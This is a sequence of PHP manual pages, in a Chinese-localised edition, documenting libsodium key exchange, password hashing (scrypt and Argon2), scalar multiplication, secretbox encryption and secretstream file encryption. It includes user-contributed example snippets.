  • Sodium 函数
  • Extract the public key from a crypto_kx keypair

sodium_crypto_kx_publickey

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_kx_publickey — Extract the public key from a crypto_kx keypair

说明

sodium_crypto_kx_publickey(string $key_pair): string

Extract the public key from a crypto_kx keypair.

参数

key_pair

X25519 keypair, such as one generated by sodium_crypto_kx_keypair().

返回值

X25519 public key.

User Contributed Notes

There are no user contributed notes for this page.


Extract the secret key from a crypto_kx keypair.

  • ? sodium_crypto_kx_publickey
  • sodium_crypto_kx_seed_keypair ?
  • PHP Manual
  • Sodium 函数
  • Extract the secret key from a crypto_kx keypair.

sodium_crypto_kx_secretkey

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_kx_secretkey — Extract the secret key from a crypto_kx keypair.

说明

sodium_crypto_kx_secretkey(string $key_pair): string

Extract the secret key from a crypto_kx keypair.

参数

key_pair

X25519 keypair, such as one generated by sodium_crypto_kx_keypair().

返回值

X25519 secret key.

User Contributed Notes

There are no user contributed notes for this page.


Description

  • ? sodium_crypto_kx_secretkey
  • sodium_crypto_kx_server_session_keys ?
  • PHP Manual
  • Sodium 函数
  • Description

sodium_crypto_kx_seed_keypair

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_kx_seed_keypair — Description

说明

sodium_crypto_kx_seed_keypair(string $seed): string

Warning

本函数还未编写文档，仅有参数列表。

参数

seed

返回值

User Contributed Notes

There are no user contributed notes for this page.


Calculate the server-side session keys.

  • ? sodium_crypto_kx_seed_keypair
  • sodium_crypto_pwhash_scryptsalsa208sha256_str_verify ?
  • PHP Manual
  • Sodium 函数
  • Calculate the server-side session keys.

sodium_crypto_kx_server_session_keys

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_kx_server_session_keys — Calculate the server-side session keys.

说明

sodium_crypto_kx_server_session_keys(string $server_key_pair, string $client_key): array

Calculate the server-side session keys, using the X25519 + BLAKE2b key-exchange method.

参数

server_key_pair

A crypto_kx keypair, such as one generated by sodium_crypto_kx_keypair().

client_key

A crypto_kx public key.

返回值

An array consisting of two strings. The first should be used for receiving data from the client. The second should be used for sending data to the client.

User Contributed Notes

There are no user contributed notes for this page.


Verify that the password is a valid password verification string

  • ? sodium_crypto_kx_server_session_keys
  • sodium_crypto_pwhash_scryptsalsa208sha256_str ?
  • PHP Manual
  • Sodium 函数
  • Verify that the password is a valid password verification string

sodium_crypto_pwhash_scryptsalsa208sha256_str_verify

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_pwhash_scryptsalsa208sha256_str_verify — Verify that the password is a valid password verification string

说明

sodium_crypto_pwhash_scryptsalsa208sha256_str_verify(string $hash, string $password): bool

Warning

本函数还未编写文档，仅有参数列表。

参数

hash

password

返回值

User Contributed Notes

There are no user contributed notes for this page.


Get an ASCII encoded hash

  • ? sodium_crypto_pwhash_scryptsalsa208sha256_str_verify
  • sodium_crypto_pwhash_scryptsalsa208sha256 ?
  • PHP Manual
  • Sodium 函数
  • Get an ASCII encoded hash

sodium_crypto_pwhash_scryptsalsa208sha256_str

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_pwhash_scryptsalsa208sha256_str — Get an ASCII encoded hash

说明

sodium_crypto_pwhash_scryptsalsa208sha256_str(string $password, int $opslimit, int $memlimit): string

Warning

本函数还未编写文档，仅有参数列表。

参数

password

opslimit

memlimit

返回值

User Contributed Notes

spam at tonycast dot com 15-May-2018 06:47
<?php
/* Example Hash Generation */

    const PWHASH_SCRYPTSALSA208SHA256_OPSLIMIT_INTERACTIVE = 534288;
    const PWHASH_SCRYPTSALSA208SHA256_MEMLIMIT_INTERACTIVE = 16777216;
    const PWHASH_SCRYPTSALSA208SHA256_OPSLIMIT_SENSITIVE = 33554432;
    const PWHASH_SCRYPTSALSA208SHA256_MEMLIMIT_SENSITIVE = 1073741824;

$hash_str = sodium_crypto_pwhash_scryptsalsa208sha256_str('password123', PWHASH_SCRYPTSALSA208SHA256_OPSLIMIT_INTERACTIVE, PWHASH_SCRYPTSALSA208SHA256_MEMLIMIT_INTERACTIVE);

print_r($hash_str);

//outputs:  $7$C6..../....ZwhNJoHcE/5yzM05gk67R2IOAp9XjD3X2gTNRpUlg92$YBwEfrN19OUo9dZG7LPSanCmjwYg.JgOEN4E75qrXG6


Derives a key from a password, using scrypt

  • ? sodium_crypto_pwhash_scryptsalsa208sha256_str
  • sodium_crypto_pwhash_str_needs_rehash ?
  • PHP Manual
  • Sodium 函数
  • Derives a key from a password, using scrypt

sodium_crypto_pwhash_scryptsalsa208sha256

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_pwhash_scryptsalsa208sha256 — Derives a key from a password, using scrypt

说明

sodium_crypto_pwhash_scryptsalsa208sha256(
int $length,
string $password,
string $salt,
int $opslimit,
int $memlimit
): string

This is the scrypt counterpart to sodium_crypto_pwhash().

A common reason to use this particular function is to derive the seeds for cryptographic keys from a password and salt, and then use these seeds to generate the actual keys needed for some purpose (e.g. sodium_crypto_sign_detached()).

参数

length

The length of the password hash to generate, in bytes.

password

The password to generate a hash for.

salt

A salt to add to the password before hashing. The salt should be unpredictable, ideally generated from a good random number source such as random_bytes(), and have a length of at least SODIUM_CRYPTO_PWHASH_SCRYPTSALSA208SHA256_SALTBYTES bytes.

opslimit

Represents a maximum amount of computations to perform. Raising this number will make the function require more CPU cycles to compute a key. There are some constants available to set the operations limit to appropriate values depending on intended use, in order of strength: SODIUM_CRYPTO_PWHASH_SCRYPTSALSA208SHA256_OPSLIMIT_INTERACTIVE and SODIUM_CRYPTO_PWHASH_SCRYPTSALSA208SHA256_OPSLIMIT_SENSITIVE.

memlimit

The maximum amount of RAM that the function will use, in bytes. There are constants to help you choose an appropriate value, in order of size: SODIUM_CRYPTO_PWHASH_SCRYPTSALSA208SHA256_MEMLIMIT_INTERACTIVE and SODIUM_CRYPTO_PWHASH_SCRYPTSALSA208SHA256_MEMLIMIT_SENSITIVE. Typically these should be paired with the matching opslimit values.

返回值

A string of bytes of the desired length.

User Contributed Notes

There are no user contributed notes for this page.


Determine whether or not to rehash a password

  • ? sodium_crypto_pwhash_scryptsalsa208sha256
  • sodium_crypto_pwhash_str_verify ?
  • PHP Manual
  • Sodium 函数
  • Determine whether or not to rehash a password

sodium_crypto_pwhash_str_needs_rehash

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_pwhash_str_needs_rehash — Determine whether or not to rehash a password

说明

sodium_crypto_pwhash_str_needs_rehash(string $password, int $opslimit, int $memlimit): bool

Determine whether or not to rehash a password, based on the current hash opslimit and memlimit.

参数

password

Password hash

opslimit

Configured opslimit; see sodium_crypto_pwhash_str()

memlimit

Configured memlimit; see sodium_crypto_pwhash_str()

返回值

Returns true if the provided memlimit/opslimit do not match what's stored in the hash. Returns false if they match.

User Contributed Notes

There are no user contributed notes for this page.


Verifies that a password matches a hash

  • ? sodium_crypto_pwhash_str_needs_rehash
  • sodium_crypto_pwhash_str ?
  • PHP Manual
  • Sodium 函数
  • Verifies that a password matches a hash

sodium_crypto_pwhash_str_verify

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_pwhash_str_verify — Verifies that a password matches a hash

说明

sodium_crypto_pwhash_str_verify(string $hash, string $password): bool

Checks that a password hash created using sodium_crypto_pwhash_str() matches a given plain-text password. Note that the parameters are in the opposite order to the same parameters in the similar password_verify() function.

参数

hash

一个由 password_hash() 创建的散列值。

password

用户的密码。

返回值

Returns true if the password and hash match, or false otherwise.

注释

Note:

Hashes are calculated using the Argon2ID algorithm, providing resistance to both GPU and side-channel attacks.

参见

  • sodium_crypto_pwhash_str() - Get an ASCII-encoded hash
  • password_hash() - 创建密码的散列（hash）
  • password_verify() - 验证密码是否和散列值匹配

User Contributed Notes

There are no user contributed notes for this page.


Get an ASCII-encoded hash

  • ? sodium_crypto_pwhash_str_verify
  • sodium_crypto_pwhash ?
  • PHP Manual
  • Sodium 函数
  • Get an ASCII-encoded hash

sodium_crypto_pwhash_str

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_pwhash_str — Get an ASCII-encoded hash

说明

sodium_crypto_pwhash_str(string $password, int $opslimit, int $memlimit): string

Uses a CPU- and memory-hard hash algorithm along with a randomly-generated salt, and memory and CPU limits to generate an ASCII-encoded hash suitable for password storage.

参数

password

string; The password to generate a hash for.

opslimit

Represents a maximum amount of computations to perform. Raising this number will make the function require more CPU cycles to compute a key. There are constants available to set the operations limit to appropriate values depending on intended use, in order of strength: SODIUM_CRYPTO_PWHASH_OPSLIMIT_INTERACTIVE, SODIUM_CRYPTO_PWHASH_OPSLIMIT_MODERATE and SODIUM_CRYPTO_PWHASH_OPSLIMIT_SENSITIVE.

memlimit

The maximum amount of RAM that the function will use, in bytes. There are constants to help you choose an appropriate value, in order of size: SODIUM_CRYPTO_PWHASH_MEMLIMIT_INTERACTIVE, SODIUM_CRYPTO_PWHASH_MEMLIMIT_MODERATE, and SODIUM_CRYPTO_PWHASH_MEMLIMIT_SENSITIVE. Typically these should be paired with the matching opslimit values.

返回值

Returns the hashed password.

In order to produce the same password hash from the same password, the same values for opslimit and memlimit must be used. These are embedded within the generated hash, so everything that's needed to verify the hash is included. This allows the sodium_crypto_pwhash_str_verify() function to verify the hash without needing separate storage for the other parameters.

示例

Example #1 sodium_crypto_pwhash_str() example

<?php
$password = 'password';
echo sodium_crypto_pwhash_str(
$password,
SODIUM_CRYPTO_PWHASH_OPSLIMIT_INTERACTIVE,
SODIUM_CRYPTO_PWHASH_MEMLIMIT_INTERACTIVE
);

以上示例的输出类似于：

$argon2id$v=19$m=65536,t=2,p=1$oWIfdaXwWwhVmovOBc2NAQ$EbsZ+JnZyyavkafS0hoc4HdaOB0ILWZESAZ7kVGa+Iw

注释

Note:

Hashes are calculated using the Argon2ID algorithm, providing resistance to both GPU and side-channel attacks. In contrast to the password_hash() function, there is no salt parameter (a salt is generated automatically), and the opslimit and memlimit parameters are not optional.

参见

  • sodium_crypto_pwhash_str_verify() - Verifies that a password matches a hash
  • sodium_crypto_pwhash() - Derive a key from a password, using Argon2
  • password_hash() - 创建密码的散列（hash）
  • password_verify() - 验证密码是否和散列值匹配
  • » Libsodium Argon2 docs

User Contributed Notes

marcus at synchromedia dot co dot uk 23-Mar-2021 08:51
If you want to ensure that the hashes you generate with sodium_crypto_pwhash_str are compatible with those generated by password_hash, you need to keep an eye on that memory setting. According to the docs, the password_hash memory_cost param is given in "kibibytes", whereas sodium_crypto_pwhash_str uses bytes. I did some experiments to see what the difference is and ran into this:

echo password_hash('password',
                   PASSWORD_ARGON2ID,
                   [
                       'memory_cost' => 15000,
                       'time_cost'   => 26,
                       'threads'     => 1,
                   ];

echo sodium_crypto_pwhash_str(
        'password', 26,
        15000000);

These result in:
$argon2id$v=19$m=15000,t=26,p=1$VG5MSkhUdEdFaGwyVG5sWA$laRHogIVAnC4ggLI8RdCDWlITTdicrdq0tK6SHGf4CI
$argon2id$v=19$m=14648,t=26,p=1$ClQ37/z9u7K6V1C2bkD4QA$51m8KhQQ9gujFSF+JyQR9d5QesayJiKsFmDU4HnGBHg

Notice that the "m=" numbers are different, and also different from what we asked for. It's down to the "kibibytes" unit. If we multiply the 15000 we used for password_hash by 1,024 instead of 1,000, we get 15,360,000, and using that number gives us the expected hash params:

echo sodium_crypto_pwhash_str(
        'password', 26,
        15360000);

$argon2id$v=19$m=15000,t=26,p=1$Qz3pWktOvT6X/LvdAk0bgQ$KosSFPfHUtWg+ppyRs3Op5/zIV6F6iy2Q7Gom8wP29c

This should be compatible with password_hash.

Incidentally the numbers I'm using for the Argon2id hash params are taken from the OWASP password guide, which recommend values different from PHP's default: https://cheatsheetseries.owasp.org/cheatsheets/Password_Storage_Cheat_Sheet.html#argon2id


Derive a key from a password, using Argon2

  • ? sodium_crypto_pwhash_str
  • sodium_crypto_scalarmult_base ?
  • PHP Manual
  • Sodium 函数
  • Derive a key from a password, using Argon2

sodium_crypto_pwhash

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_pwhash — Derive a key from a password, using Argon2

说明

sodium_crypto_pwhash(
int $length,
string $password,
string $salt,
int $opslimit,
int $memlimit,
int $algo = SODIUM_CRYPTO_PWHASH_ALG_DEFAULT
): string

This function provides low-level access to libsodium's crypto_pwhash key derivation function. Unless you have specific reason to use this function, you should use sodium_crypto_pwhash_str() or password_hash() functions instead.

A common reason to use this particular function is to derive the seeds for cryptographic keys from a password and salt, and then use these seeds to generate the actual keys needed for some purpose (e.g. sodium_crypto_sign_detached()).

参数

length

int; The length of the password hash to generate, in bytes.

password

string; The password to generate a hash for.

salt

A salt to add to the password before hashing. The salt should be unpredictable, ideally generated from a good random number source such as random_bytes(), and have a length of at least SODIUM_CRYPTO_PWHASH_SALTBYTES bytes.

opslimit

Represents a maximum amount of computations to perform. Raising this number will make the function require more CPU cycles to compute a key. There are some constants available to set the operations limit to appropriate values depending on intended use, in order of strength: SODIUM_CRYPTO_PWHASH_OPSLIMIT_INTERACTIVE, SODIUM_CRYPTO_PWHASH_OPSLIMIT_MODERATE and SODIUM_CRYPTO_PWHASH_OPSLIMIT_SENSITIVE.

memlimit

The maximum amount of RAM that the function will use, in bytes. There are constants to help you choose an appropriate value, in order of size: SODIUM_CRYPTO_PWHASH_MEMLIMIT_INTERACTIVE, SODIUM_CRYPTO_PWHASH_MEMLIMIT_MODERATE, and SODIUM_CRYPTO_PWHASH_MEMLIMIT_SENSITIVE. Typically these should be paired with the matching opslimit values.

algo

int A number indicating the hash algorithm to use. By default SODIUM_CRYPTO_PWHASH_ALG_DEFAULT (the currently recommended algorithm, which can change from one version of libsodium to another), or explicitly using SODIUM_CRYPTO_PWHASH_ALG_ARGON2ID13, representing the Argon2id algorithm version 1.3.

返回值

Returns the derived key. The return value is a binary string of the hash, not an ASCII-encoded representation, and does not contain additional information about the parameters used to create the hash, so you will need to keep that information if you are ever going to verify the password in future. Use sodium_crypto_pwhash_str() to avoid needing to do all that.

示例

Example #1 sodium_crypto_pwhash() example

<?php
//Need to keep the salt if we're ever going to be able to check this password
$salt = random_bytes(SODIUM_CRYPTO_PWHASH_SALTBYTES);
//Using bin2hex to keep output readable
echo bin2hex(
sodium_crypto_pwhash(
16, // == 128 bits
'password',
$salt,
SODIUM_CRYPTO_PWHASH_OPSLIMIT_INTERACTIVE,
SODIUM_CRYPTO_PWHASH_MEMLIMIT_INTERACTIVE,
SODIUM_CRYPTO_PWHASH_ALG_ARGON2ID13
)
);
?>

以上示例的输出类似于：

a18f346ba57992eb7e4ae6abf3fd30ee

User Contributed Notes

craig at craigfrancis dot co dot uk 08-Mar-2020 06:08
When encrypting, you would ideally use a randomly generated key, as that's considerably harder to guess.

For example, sodium_crypto_aead_chacha20poly1305_ietf_keygen()

But if you need to use a password to encrypt/decrypt, you can use sodium_crypto_pwhash():

<?php

function secrets_encrypt($password, $secret) {

  $config = [
      'size'      => SODIUM_CRYPTO_AEAD_CHACHA20POLY1305_IETF_KEYBYTES,
      'salt'      => random_bytes(SODIUM_CRYPTO_PWHASH_SALTBYTES),
      'limit_ops' => SODIUM_CRYPTO_PWHASH_OPSLIMIT_SENSITIVE,
      'limit_mem' => SODIUM_CRYPTO_PWHASH_MEMLIMIT_SENSITIVE,
      'alg'       => SODIUM_CRYPTO_PWHASH_ALG_ARGON2ID13,
      'nonce'     => random_bytes(SODIUM_CRYPTO_AEAD_CHACHA20POLY1305_IETF_NPUBBYTES),
    ];

  // $config['limit_ops'] = SODIUM_CRYPTO_PWHASH_OPSLIMIT_INTERACTIVE;
  // $config['limit_mem'] = SODIUM_CRYPTO_PWHASH_MEMLIMIT_INTERACTIVE;

  $key = sodium_crypto_pwhash(
      $config['size'],
      $password,
      $config['salt'],
      $config['limit_ops'],
      $config['limit_mem'],
      $config['alg'],
    );

  $encrypted = sodium_crypto_aead_chacha20poly1305_ietf_encrypt(
      $secret,
      $config['nonce'], // Associated Data
      $config['nonce'],
      $key
    );

  return [
      'config' => array_map('base64_encode', $config),
      'encrypted' => base64_encode($encrypted),
    ];

}

$password = 'YoxPR4QLeZ';
$secret   = 'This-is-my-secret';

$data = secrets_encrypt($password, $secret);

?>

To decrypt with that password, using the same limits:

<?php

function secrets_decrypt($password, $data) {

  $config = array_map('base64_decode', $data['config']);
  $encrypted = base64_decode($data['encrypted']);

  $key = sodium_crypto_pwhash(
      $config['size'],
      $password,
      $config['salt'],
      $config['limit_ops'],
      $config['limit_mem'],
      $config['alg'],
    );

  return sodium_crypto_aead_chacha20poly1305_ietf_decrypt(
      $encrypted,
      $config['nonce'], // Associated Data
      $config['nonce'],
      $key
    );

}

$secret = secrets_decrypt($password, $data);

?>


别名 sodium_crypto_box_publickey_from_secretkey

  • ? sodium_crypto_pwhash
  • sodium_crypto_scalarmult_ristretto255_base ?
  • PHP Manual
  • Sodium 函数
  • 别名 sodium_crypto_box_publickey_from_secretkey

sodium_crypto_scalarmult_base

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_scalarmult_base — 别名 sodium_crypto_box_publickey_from_secretkey()

说明

此函数是该函数的别名： sodium_crypto_box_publickey_from_secretkey().

User Contributed Notes

There are no user contributed notes for this page.


Calculates the public key from a secret key

  • ? sodium_crypto_scalarmult_base
  • sodium_crypto_scalarmult_ristretto255 ?
  • PHP Manual
  • Sodium 函数
  • Calculates the public key from a secret key

sodium_crypto_scalarmult_ristretto255_base

(PHP 8 >= 8.1.1)

sodium_crypto_scalarmult_ristretto255_base — Calculates the public key from a secret key

说明

sodium_crypto_scalarmult_ristretto255_base(string $n): string

Given a secret key, calculates the corresponding public key. Available as of libsodium 1.0.18.

Warning

本函数还未编写文档，仅有参数列表。

参数

n

A secret key.

返回值

Returns a 32-byte random string.

参见

  • sodium_crypto_scalarmult_ristretto255() - Computes a shared secret

User Contributed Notes

There are no user contributed notes for this page.


Computes a shared secret

  • ? sodium_crypto_scalarmult_ristretto255_base
  • sodium_crypto_scalarmult ?
  • PHP Manual
  • Sodium 函数
  • Computes a shared secret

sodium_crypto_scalarmult_ristretto255

(PHP 8 >= 8.1.1)

sodium_crypto_scalarmult_ristretto255 — Computes a shared secret

说明

sodium_crypto_scalarmult_ristretto255(string $n, string $p): string

Calculates scalar n times point p. Available as of libsodium 1.0.18.

Warning

本函数还未编写文档，仅有参数列表。

参数

n

A scalar, which is typically a secret key.

p

A point (x-coordinate), which is typically a public key.

返回值

Returns a 32-byte random string.

参见

  • sodium_crypto_scalarmult_ristretto255_base() - Calculates the public key from a secret key

User Contributed Notes

There are no user contributed notes for this page.


Compute a shared secret given a user's secret key and another user's public key

  • ? sodium_crypto_scalarmult_ristretto255
  • sodium_crypto_secretbox_keygen ?
  • PHP Manual
  • Sodium 函数
  • Compute a shared secret given a user's secret key and another user's public key

sodium_crypto_scalarmult

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_scalarmult — Compute a shared secret given a user's secret key and another user's public key

说明

sodium_crypto_scalarmult(string $n, string $p): string

Elliptic Curve Diffie-Hellman. Calculates scalar n times point p, on an elliptic curve.

参数

n

scalar, which is typically a secret key

p

point (x-coordinate), which is typically a public key

返回值

A 32-byte random string.

User Contributed Notes

There are no user contributed notes for this page.


Generate random key for sodium_crypto_secretbox

  • ? sodium_crypto_scalarmult
  • sodium_crypto_secretbox_open ?
  • PHP Manual
  • Sodium 函数
  • Generate random key for sodium_crypto_secretbox

sodium_crypto_secretbox_keygen

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_secretbox_keygen — Generate random key for sodium_crypto_secretbox

说明

sodium_crypto_secretbox_keygen(): string

Generate a key for use with sodium_crypto_secretbox() and sodium_crypto_secretbox_open().

参数

此函数没有参数。

返回值

Returns the generated string of cryptographically secure random bytes.

示例

Example #1 sodium_crypto_secretbox_keygen() example

<?php
$key = sodium_crypto_secretbox_keygen();
var_dump( sodium_bin2hex( $key ) );
?>

以上示例的输出类似于：

string(64) "88bd1dc51ec81984f3ddc5a8f59a3d95b647e2da3e879f1b9ceb0abd89e7286c"

Example #2 Comparing sodium_crypto_secretbox_keygen() with random_bytes()

<?php
$key = sodium_crypto_secretbox_keygen();
$bytes = random_bytes( SODIUM_CRYPTO_SECRETBOX_KEYBYTES );
var_dump( mb_strlen( $key, '8bit' ) === mb_strlen( $bytes, '8bit' ) );
?>

以上示例会输出：

bool(true)

参见

  • sodium_bin2hex() - Encode to hexadecimal
  • random_bytes() - Get cryptographically secure random bytes

User Contributed Notes

There are no user contributed notes for this page.


Authenticated shared-key decryption

  • ? sodium_crypto_secretbox_keygen
  • sodium_crypto_secretbox ?
  • PHP Manual
  • Sodium 函数
  • Authenticated shared-key decryption

sodium_crypto_secretbox_open

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_secretbox_open — Authenticated shared-key decryption

说明

sodium_crypto_secretbox_open(string $ciphertext, string $nonce, string $key): string|false

Decrypt an encrypted message with a symmetric (shared) key.

参数

ciphertext

Must be in the format provided by sodium_crypto_secretbox() (ciphertext and tag, concatenated).

nonce

A number that must be only used once, per message. 24 bytes long. This is a large enough bound to generate randomly (i.e. random_bytes()).

key

Encryption key (256-bit).

返回值

The decrypted string on success 或者在失败时返回 false.

错误／异常

  • If nonce has a length of bytes different than SODIUM_CRYPTO_SECRETBOX_NONCEBYTES (24 bytes), a SodiumException will be thrown.
  • If key has a length of bytes different than SODIUM_CRYPTO_SECRETBOX_KEYBYTES (32 bytes), a SodiumException will be thrown.

示例

Example #1 sodium_crypto_secretbox_open() example

<?php
// The $key must be kept confidential
$key = random_bytes(SODIUM_CRYPTO_SECRETBOX_KEYBYTES);
// Do not reuse $nonce with the same key
$nonce = random_bytes(SODIUM_CRYPTO_SECRETBOX_NONCEBYTES);
$ciphertext = sodium_crypto_secretbox('message to be encrypted', $nonce, $key);

// The same nonce and key are required to decrypt the $ciphertext
$plaintext = sodium_crypto_secretbox_open($ciphertext, $nonce, $key);
if ($plaintext !== false) {
echo $plaintext . PHP_EOL;
}
?>

以上示例会输出：

message to be encrypted

参见

  • sodium_crypto_secretbox() - Authenticated shared-key encryption
  • sodium_crypto_secretbox_keygen() - Generate random key for sodium_crypto_secretbox
  • random_bytes() - Get cryptographically secure random bytes

User Contributed Notes

khalyomede at gmail dot com 31-Dec-2018 11:26
This method will return a string, or false if the data failed to be decrypted.

$key = 'secret';
$data = 'binarydata';
$nonce = random_bytes(SODIUM_CRYPT_SECRETBOX_NONCEBYTES);

$decrypted = sodium_crypto_secretbox_open($data, $nonce, $key);

if ($decrypted === false) {
  throw new Exception('failed to decrypt data');
}


Authenticated shared-key encryption

  • ? sodium_crypto_secretbox_open
  • sodium_crypto_secretstream_xchacha20poly1305_init_pull ?
  • PHP Manual
  • Sodium 函数
  • Authenticated shared-key encryption

sodium_crypto_secretbox

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_secretbox — Authenticated shared-key encryption

说明

sodium_crypto_secretbox(string $message, string $nonce, string $key): string

Encrypt a message with a symmetric (shared) key.

参数

message

The plaintext message to encrypt.

nonce

A number that must be only used once, per message. 24 bytes long. This is a large enough bound to generate randomly (i.e. random_bytes()).

key

Encryption key (256-bit).

返回值

Returns the encrypted string.

错误／异常

  • If nonce has a length of bytes different than SODIUM_CRYPTO_SECRETBOX_NONCEBYTES (24 bytes), a SodiumException will be thrown.
  • If key has a length of bytes different than SODIUM_CRYPTO_SECRETBOX_KEYBYTES (32 bytes), a SodiumException will be thrown.
  • Throws a SodiumException on failure.

示例

Example #1 sodium_crypto_secretbox() example

<?php
// The $key must be kept confidential
$key = sodium_crypto_secretbox_keygen();
// Do not reuse $nonce with the same key
$nonce = random_bytes(SODIUM_CRYPTO_SECRETBOX_NONCEBYTES);
$plaintext = "message to be encrypted";
$ciphertext = sodium_crypto_secretbox($plaintext, $nonce, $key);

var_dump(bin2hex($ciphertext));
// The same nonce and key are required to decrypt the $ciphertext
var_dump(sodium_crypto_secretbox_open($ciphertext, $nonce, $key));
?>

以上示例的输出类似于：

string(78) "3a1fa3e9f7b72ef8be51d40abf8e296c6899c185d07b18b4c93e7f26aa776d24c50852cd6b1076"
string(23) "message to be encrypted"

参见

  • sodium_crypto_secretbox_open() - Authenticated shared-key decryption
  • sodium_crypto_secretbox_keygen() - Generate random key for sodium_crypto_secretbox
  • random_bytes() - Get cryptographically secure random bytes

User Contributed Notes

celso fontes 08-Jul-2020 02:20
An example to how encrypt or decrypt using sodium:

<?php

$key = random_bytes(SODIUM_CRYPTO_SECRETBOX_KEYBYTES);

$nonce = random_bytes(SODIUM_CRYPTO_SECRETBOX_NONCEBYTES);
$ciphertext = sodium_crypto_secretbox("Hello World !", $nonce, $key);

$plaintext = sodium_crypto_secretbox_open($ciphertext, $nonce, $key);
if ($plaintext === false) {
    throw new Exception("Bad ciphertext");
}

echo $plaintext;


Initialize a secretstream context for decryption

  • ? sodium_crypto_secretbox
  • sodium_crypto_secretstream_xchacha20poly1305_init_push ?
  • PHP Manual
  • Sodium 函数
  • Initialize a secretstream context for decryption

sodium_crypto_secretstream_xchacha20poly1305_init_pull

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_secretstream_xchacha20poly1305_init_pull — Initialize a secretstream context for decryption

说明

sodium_crypto_secretstream_xchacha20poly1305_init_pull(string $header, string $key): string

Initialize a secretstream context for decryption.

参数

header

The header of the secretstream. This should be one of the values produced by sodium_crypto_secretstream_xchacha20poly1305_init_push().

key

Encryption key (256-bit).

返回值

Secretstream state.

示例

Example #1 sodium_crypto_secretstream_xchacha20poly1305_init_pull() example

<?php
function decrypt_file(string $inputFilePath, string $outputFilePath, string $key): void
{
$inputFile = fopen($inputFilePath, 'rb');
$outputFile = fopen($outputFilePath, 'wb');
$header = fread($inputFile, 24);

$state = sodium_crypto_secretstream_xchacha20poly1305_init_pull($header, $key);
$inputFileSize = fstat($inputFile)['size'];

// Decrypt the file and write its contents to the output file:
for ($i = 24; $i < $inputFileSize; $i += 8192) {
$ctxt_chunk = fread($inputFile, 8192);

// We're not using $tag, but in real protocols you can use this on encrypt to e.g.
// trigger a re-key or indicate the end of file. Then, on decrypt, you can assert
// this behavior.
[$ptxt_chunk, $tag] = sodium_crypto_secretstream_xchacha20poly1305_pull($state, $ctxt_chunk);
fwrite($outputFile, $ptxt_chunk);
}

sodium_memzero($state);
fclose($inputFile);
fclose($outputFile);
}

// sodium_crypto_secretstream_xchacha20poly1305_keygen()
$key = sodium_base642bin('MS0lzb7HC+thY6jY01pkTE/cwsQxnRq0/2L1eL4Hxn8=', SODIUM_BASE64_VARIANT_ORIGINAL);

$example = sodium_hex2bin('971e33b255f0990ef3931caf761c59136efa77b434832f28ec719e3ff73f5aec38b3bba1574ab5b70a8844d8da36a668e802cfea2c');
file_put_contents('hello.enc', $example);
decrypt_file('hello.enc', 'hello.txt.decrypted', $key);
var_dump(file_get_contents('hello.txt.decrypted'));
?>

以上示例的输出类似于：

string(12) "Hello world!"

User Contributed Notes

There are no user contributed notes for this page.


Initialize a secretstream context for encryption

  • ? sodium_crypto_secretstream_xchacha20poly1305_init_pull
  • sodium_crypto_secretstream_xchacha20poly1305_keygen ?
  • PHP Manual
  • Sodium 函数
  • Initialize a secretstream context for encryption

sodium_crypto_secretstream_xchacha20poly1305_init_push

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_secretstream_xchacha20poly1305_init_push — Initialize a secretstream context for encryption

说明

sodium_crypto_secretstream_xchacha20poly1305_init_push(string $key): array

Initialize a secretstream context for encryption.

参数

key

Cryptography key. See sodium_crypto_secretstream_xchacha20poly1305_keygen().

返回值

An array with two string values:

  • The secretstream state, needed for further pushes
  • The secretstream header, which needs to be provided to the recipient so they can pull data

示例

Example #1 sodium_crypto_secretstream_xchacha20poly1305_init_push() example

<?php
function encrypt_file(string $inputFilePath, string $outputFilePath, string $key): void
{
[$state, $header] = sodium_crypto_secretstream_xchacha20poly1305_init_push($key);

$inputFile = fopen($inputFilePath, 'rb');
$outputFile = fopen($outputFilePath, 'wb');
// Write the header:
fwrite($outputFile, $header);
$inputFileSize = fstat($inputFile)['size'];

// Encrypt the file and write its contents to the output file:
for ($i = 0; $i < $inputFileSize; $i += 8175) {
$ptxt_chunk = fread($inputFile, 8175);
$ctxt_chunk = sodium_crypto_secretstream_xchacha20poly1305_push($state, $ptxt_chunk);
fwrite($outputFile, $ctxt_chunk);
}

sodium_memzero($state);
fclose($inputFile);
fclose($outputFile);
}

// sodium_crypto_secretstream_xchacha20poly1305_keygen()
$key = sodium_base642bin('MS0lzb7HC+thY6jY01pkTE/cwsQxnRq0/2L1eL4Hxn8=', SODIUM_BASE64_VARIANT_ORIGINAL);

file_put_contents('hello.txt', 'Hello world!');
encrypt_file('hello.txt', 'hello.txt.encrypted', $key);
var_dump(sodium_bin2hex(file_get_contents('hello.txt.encrypted')));
?>

以上示例的输出类似于：

string(106) "971e33b255f0990ef3931caf761c59136efa77b434832f28ec719e3ff73f5aec38b3bba1574ab5b70a8844d8da36a668e802cfea2c"

User Contributed Notes

There are no user contributed notes for this page.


Generate a random secretstream key.

  • ? sodium_crypto_secretstream_xchacha20poly1305_init_push
  • sodium_crypto_secretstream_xchacha20poly1305_pull ?
  • PHP Manual
  • Sodium 函数
  • Generate a random secretstream key.

sodium_crypto_secretstream_xchacha20poly1305_keygen

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_secretstream_xchacha20poly1305_keygen — Generate a random secretstream key.

说明

sodium_crypto_secretstream_xchacha20poly1305_keygen(): string

Generate a random secretstream key.

参数

此函数没有参数。

返回值

Returns a string of random bytes.

User Contributed Notes

There are no user contributed notes for this page.


Decrypt a chunk of data from an encrypted stream

  • ? sodium_crypto_secretstream_xchacha20poly1305_keygen
  • sodium_crypto_secretstream_xchacha20poly1305_push ?
  • PHP Manual
